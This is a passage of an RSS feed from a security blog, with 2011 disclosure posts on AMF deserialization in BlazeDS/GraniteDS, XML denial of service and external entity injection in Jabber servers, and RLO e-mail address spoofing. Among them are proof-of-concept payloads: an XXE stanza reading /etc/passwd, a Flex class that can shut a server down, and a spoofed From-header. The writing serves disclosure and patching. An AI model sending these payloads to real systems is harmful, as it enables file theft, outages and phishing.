That basic idea is already the security vulnerability. It does not put any limitation on which classes a client can cause to be instantiated (besides that they need a constructor without arguments), and which getters and setters on it may be called. It can be classes that have nothing to do with BlazeDS/GraniteDS or the services being exposed, but just happen to be available on the same server. For <em>most</em> classes this is safe. Constructors, getters, and setters <em>usually</em> don&#8217;t have extra side-effects outside of the objects they&#8217;re being called on. But there is no rule anywhere saying that that must always be the case; and in many applications there are classes available where calling the right setters leads to running arbitrary code.</p>
<h2>Affected</h2>
<ul>
<li>Adobe LiveCycle Data Services 3.1, 2.6.1, 2.5.1 and earlier versions</li>
<li>Adobe LiveCycle 9.0.0.2, 8.2.1.3, 8.0.1.3 and earlier versions</li>
<li>Adobe BlazeDS 4.0.1 and earlier versions</li>
<li>GraniteDS Data Services 2.2.0 and earlier versions</li>
</ul>
<h2>Solution</h2>
<ul>
<li><a href="http://www.adobe.com/support/security/bulletins/apsb11-15.html">Security updatefor LiveCycle Data Services, LiveCycle ES, and BlazeDS</a></li>
<li><a href="http://www.granitedataservices.com/granite-data-services-2-2-1-ga-released/">Granite Data Services 2.2.1 GA</a></li>
</ul>
<p>Note that for BlazeDS upgrading to the new version is not enough. You also need to configure the DeserializationValidator (as explained in blz401_hf_21287.txt included in the hotfix), otherwise you are still vulnerable.<br />
For BlazeDS 3.x, Adobe will not release a fix, but the changes have been backported, so you can grab <a href="http://opensource.adobe.com/wiki/display/blazeds/download+blazeds+3">BlazeDS 3 nightly build</a> 3.3.0.20931.</p>
<h2>Theoretical example exploit</h2>
<p>Suppose in some application or library, there is a class with the following code:</p>
<pre>
public class Foo {
   public void setBar(String bar) throws IOException {
      Runtime.getRuntime().exec(bar);
   }
}
</pre>
<p>That class itself is not a security problem. In any Java application not using BlazeDS, this is perfectly safe code. But if it is available in the classpath of BlazeDS, it can be abused to execute any command, by sending (the binary AMF representation of) an object of this class with a &#8220;bar&#8221; attribute.</p>
<p>That&#8217;s a forced example. In the real world, such obvious exploits usually aren&#8217;t available. It just takes a bit more effort&#8230;</p>
<h2>JFrame exploit</h2>
<p>This exploit does not result in arbitrary code execution, but it&#8217;s a cute little example, in the Java library itself, just to show you a real-world case.</p>
<p>JFrame is the base class for windows shown on the screen in Swing. Sending an object with class &#8220;javax.swing.JFrame&#8221; and setting &#8220;visible&#8221; to &#8220;true&#8221; shows an actual window on the server running BlazeDS. As a bonus, the &#8220;defaultCloseOperation&#8221; could be set to 3 (EXIT_ON_CLOSE) so that if the window would be closed, the BlazeDS server exits. Some other stuff could be put in this window, but what can be shown and the behaviour the attacker can choose is quite limited (because of only being able to use getters and setters).</p>
<p>Sample Flex exploit code:</p>
<pre>
[RemoteClass(alias="javax.swing.JFrame")]
public class JFrame {
   public var title:String = "Gotcha!";
   public var defaultCloseOperation:int = 3;
   public var visible:Boolean = true;
}
</pre>
<h2>Arbitrary code execution</h2>
<p>There exists an exploit that will work in many BlazeDS/GraniteDS applications, that leads to arbitrary code execution. But I&#8217;m not making that one public yet.</p>
<p>[Edit 17/6: added note about the fix for BlazeDS]</p>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2011/amf-arbitrary-code-execution/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jabber/XMPP DoS and more</title>
		<link>http://wouter.coekaerts.be/2011/jabber-dos?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=jabber-dos</link>
		<comments>http://wouter.coekaerts.be/2011/jabber-dos#comments</comments>
		<pubDate>Tue, 14 Jun 2011 20:25:24 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://wouter.coekaerts.be/?p=218</guid>
		<description><![CDATA[Jabber/XMPP is an XML-based protocol used mainly for instant messaging The Billion laughs attack is a type of denial-of-service vulnerability in XML parsers, known since at least 2002. There have already been multiple security advisories about it. It&#8217;s surprising that in all that time nobody put one and two together. There isn&#8217;t any extra trick [...]]]></description>
			<content:encoded><![CDATA[<ol>
<li>Jabber/XMPP is an XML-based protocol used mainly for instant messaging</li>
<li>The <a href="http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html#listing1">Billion laughs attack</a> is a type of denial-of-service vulnerability in XML parsers, known since at least 2002. There have already been <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1564">multiple</a> <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1955">security</a> <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2473">advisories</a> about it.</li>
</ol>
<p>It&#8217;s surprising that in all that time nobody put one and two together. There isn&#8217;t any extra trick needed to combine them. <em>Every</em> jabber implementation that I tested is vulnerable. If they receive the well-known exploit, they will hang. No authentication required.</p>
<p>If you are running one of these, it&#8217;s best to upgrade to a fixed version as soon as it becomes available.<br/><br />
If you develop another application that receives XML from an untrusted party, this would be a good time to check if your application isn&#8217;t vulnerable too.</p>
<h2>Affected software</h2>
<ul>
<li>ejabberd: <a href="http://www.ejabberd.im/ejabberd-2.1.7">fixed in 2.1.7</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1753">CVE-2011-1753</a></li>
<li>jabberd14:  <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1754">CVE-2011-1754</a></li>
<li>jabberd2: <a href="http://www.mail-archive.com/jabberd2@lists.xiaoka.com/msg01655.html">fixed in 2.2.14</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1755">CVE-2011-1755</a></li>
<li>citadel: <a href="http://code.citadel.org/cgit.cgi/git.citadel.org/commit/?id=95040add546a705cc2d1d8f16293141f9f9845a6">fix</a> not released yet? <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1756">CVE-2011-1756</a></li>
<li>djabberd: no fix available yet <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1757">CVE-2011-1757</a></li>
<li>prosody: fixed in <a href="http://blog.prosody.im/prosody-0-8-1-released/">0.8.1</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2205">CVE-2011-2205</a><br/><br />
      <a href="http://matthewwild.co.uk/projects/luaexpat/">LuaExpat</a> 1.2.0 was released, to make make it possible for prosody to block the attack: <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2188">CVE-2011-2188</a></li>
<li>Cisco Jabber Extensible Communications Platform and Cisco Unified Presence: <a href="http://www.cisco.com/warp/public/707/cisco-sa-20110928-xcpcupsxml.shtml">fixed</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3287">CVE-2011-3287</a>/<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3288">CVE-2011-3288</a> [added 2011-09-29, not discovered by me]</li>
</ul>
<h2>(Un)coordinated release</h2>
<p>Thanks to the help of the Debian security team, this was reported to a list of linux distributions and the authors of all those clients on April 27. It came with a proposed embargo, <em>to not publish anything regarding this (including fixes in<br />
public rcs repositories) issue before 31.05.2011</em>. With such a trivial exploit and so many different parties affected without a fix available, it would take only one <em>idiot</em> to take down most of the jabber network. So waiting a bit for a coordinated release was the responsible thing to do.<br />
That didn&#8217;t go entirely as planned.</p>
<p>The Citadel developers decided to ignore that: without explaining their reasons, they <a href="http://code.citadel.org/cgit.cgi/git.citadel.org/commit/?id=95040add546a705cc2d1d8f16293141f9f9845a6">fixed it publically immediately</a>.<br/><br />
It&#8217;s not <em>that</em> big of a deal. The chance of someone trigger-happy seeing the commit was low, and it is just a denial of service. But a vendor not following responsible disclosure when the reporter asks for it seems a bit backwards. To me this means that they&#8217;ve lost their privilege to get vulnerability information before public release. Ironically, that might mean that patching earlier made their users less secure.<br/></p>
<p>At the day of the coordinated release, I discovered that djabberd was also vulnerable to external entity injection (see below).<br />
And bit later, it turned out that our messages never reached the new djabberd maintainers.<br />
And we forgot to warn Prosody. Sorry.</p>
<h2>External entity injection</h2>
<p>Additionally, djabberd is also vulnerable to <a href="https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)">external entity injection</a> (<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2206">CVE-2011-2206</a>). That allows an attacker to remotely read files on the server. This got <a href="http://groups.google.com/group/djabberd/browse_thread/thread/47974331c37e54c5#">fixed in djabberd 0.85</a>.</p>
<p>The easiest way to exploit it is to log in and send a message containing the entity to yourself:</p>
<pre>
&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE root [
   &lt;!ENTITY a SYSTEM "file:///etc/passwd"&gt;
]&gt;
&lt;stream:stream xmlns:stream="http://etherx.jabber.org/streams" xmlns="jabber:client" to="example.com"&gt;

&lt;iq type="set" to="example.com" id="auth_2"&gt;
   &lt;query xmlns="jabber:iq:auth"&gt;
      &lt;username&gt;example&lt;/username&gt;
      &lt;password&gt;example&lt;/password&gt;
      &lt;resource&gt;exploit&lt;/resource&gt;
   &lt;/query&gt;
&lt;/iq&gt;                                                                                                                                              

&lt;presence /&gt;                                                                                                                                       

&lt;message type="chat" to="example@example.com" id="123"&gt;
   &lt;body&gt;&amp;a;&lt;/body&gt;
&lt;/message&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2011/jabber-dos/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>E-mail address spoofing with RLO</title>
		<link>http://wouter.coekaerts.be/2011/email-rlo?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=email-rlo</link>
		<comments>http://wouter.coekaerts.be/2011/email-rlo#comments</comments>
		<pubDate>Tue, 24 May 2011 16:50:40 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://coekie.fab4.be/wp2/?p=164</guid>
		<description><![CDATA[Introduction When we reply to an e-mail, the address we see in the To-field serves a purpose beyond getting our answer back to original sender. We attach a meaning to these addresses. If we see john.smith@example.com, we expect that we&#8217;re really sending a mail to someone at the Example company. We may have learned not [...]]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p>When we reply to an e-mail, the address we see in the To-field serves a purpose beyond getting our answer back to original sender. We attach a meaning to these addresses. If we see <code>john.smith@example.com</code>, we expect that we&#8217;re really sending a mail to someone at the Example company.<br />
We may have learned not to trust the &#8220;From&#8221; address: that&#8217;s about as unreliable as the return address on the back of an envelope. But we should be careful with what <em>we think</em> we see in To-field too.</p>
<h2>Problem</h2>
<p>The problem comes from the unicode &#8220;right-to-left override&#8221; (RLO, U+202E) character. It&#8217;s an invisible character, that forces the text after it to be treated as right-to-left. For example <code>abc[RLO]def</code> is displayed as <code>abcfed</code>. It&#8217;s well known that these kind of characters have <a href="http://unicode.org/reports/tr9/#Explicit_Directional_Overrides">security</a> <a href="http://unicode.org/reports/tr36/#Bidirectional_Text_Spoofing">implications</a>, it has led to other <a href="http://www.mozilla.org/security/announce/2009/mfsa2009-62.html">problems</a> before, and this is a new one in that category:<br />
It can be abused to display an E-mail address backwards, so that it appear to be on a different domain than it actually is.
</p>
<h2>Details</h2>
<p>
An RLO is usually not accepted in an address, but it is accepted in the display name. The display name and the address are often shown together, allowing the RLO in the display name to affect how the address is shown. For example, &#8220;<code>Firstname Lastname [RLO] &lt;moc.mitciv@attacker.com&gt;</code>&#8221; is displayed as &#8220;<code>Firstname Lastname &lt;moc.rekcatta@victim.com&gt; </code>&#8220;.
</p>
<p>
This can not be used to spoof arbitrary addresses because the attacker&#8217;s reversed real domain is still in it. But it can be used to spoof any domain. And a well chosen domain name reversed can look like a convincing foreign real name in the first part of the address.<br />
This problem is worse than spoofing of the From-addresses, because an attacker can have a whole conversation without an indication to the victim that he&#8217;s not who (from the domain) he pretends to be.
</p>
<h2>Affected software</h2>
<p>This affects most e-mail clients. These are the ones I tested, and whose vendors have been made aware of this in 2009.</p>
<ul>
<li>Gmail: <del datetime="2011-07-23T21:33:02+00:00">still vulnerable</del> <ins datetime="2011-07-23T21:33:02+00:00">fixed in June 2011 as part of new <a href="http://gmailblog.blogspot.com/2011/06/protect-yourself-from-scams-by-knowing.html">anti-phishing measures</a></li>
<li>Hotmail: Fixed in <a href="http://technet.microsoft.com/en-us/security/cc308575.aspx#0210">February 2010</a></li>
<li>Outlook 2007 (and later?): no fix announced, presumably still vulnerable</li>
<li>Outlook Web Access: no fix announced, presumably still vulnerable</li>
<li>Evolution: still vulnerable (<a href="https://bugzilla.gnome.org/show_bug.cgi?id=601172">Bug 601172</a>)</li>
<li>KMail: Fixed since December 2009, KDE 4.2.x (never released), 4.3.5 and 4.4.0</li>
<li>And more&#8230;</li>
</ul>
<h2>Update: Exploit</h2>
<p>On popular demand, here&#8217;s some help to reproduce this.<br />
If you like editing raw mail messages, here&#8217;s an example From-header with an encoded RLO in it:</p>
<blockquote><p><code>From: =?UTF-8?B?TW9jIExpYW1nIOKAriA=?= &lt;moc.elpmaxe@gmail.com&gt;</code></p></blockquote>
<p>And here is the RLO character itself, as <code>abc[RLO]def</code>. You should be able to copy-paste that in the settings of your email client (at the end of your real name). Selecting this text may act unusual; that&#8217;s normal and correct behaviour:</p>
<blockquote><p><code>abc‮def</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2011/email-rlo/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>New site</title>
		<link>http://wouter.coekaerts.be/2011/new-site?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=new-site</link>
		<comments>http://wouter.coekaerts.be/2011/new-site#comments</comments>
		<pubDate>Wed, 18 May 2011 10:43:48 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://coekie.fab4.be/?p=176</guid>
		<description><![CDATA[I&#8217;ve just transformed my old, static site into a wordpress one, with a whole new layout. All the old stuff should still be here, and redirects from old to new urls are in place. I mainly did this migration because the old site was too heavy to update, I didn&#8217;t have a blog yet, and [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just transformed my old, static site into a wordpress one, with a whole new layout.<br />
All the old stuff should still be here, and redirects from old to new urls are in place.</p>
<p>I mainly did this migration because the old site was too <em>heavy</em> to update, I didn&#8217;t have a blog yet, and I expect to post some things about software security soon&#8230;</p>
<blockquote><p>
   <em>Starting a blog now? You&#8217;re too late. Blogs are so &#8217;00.</em>
</p></blockquote>
<p>I know.</p>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2011/new-site/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

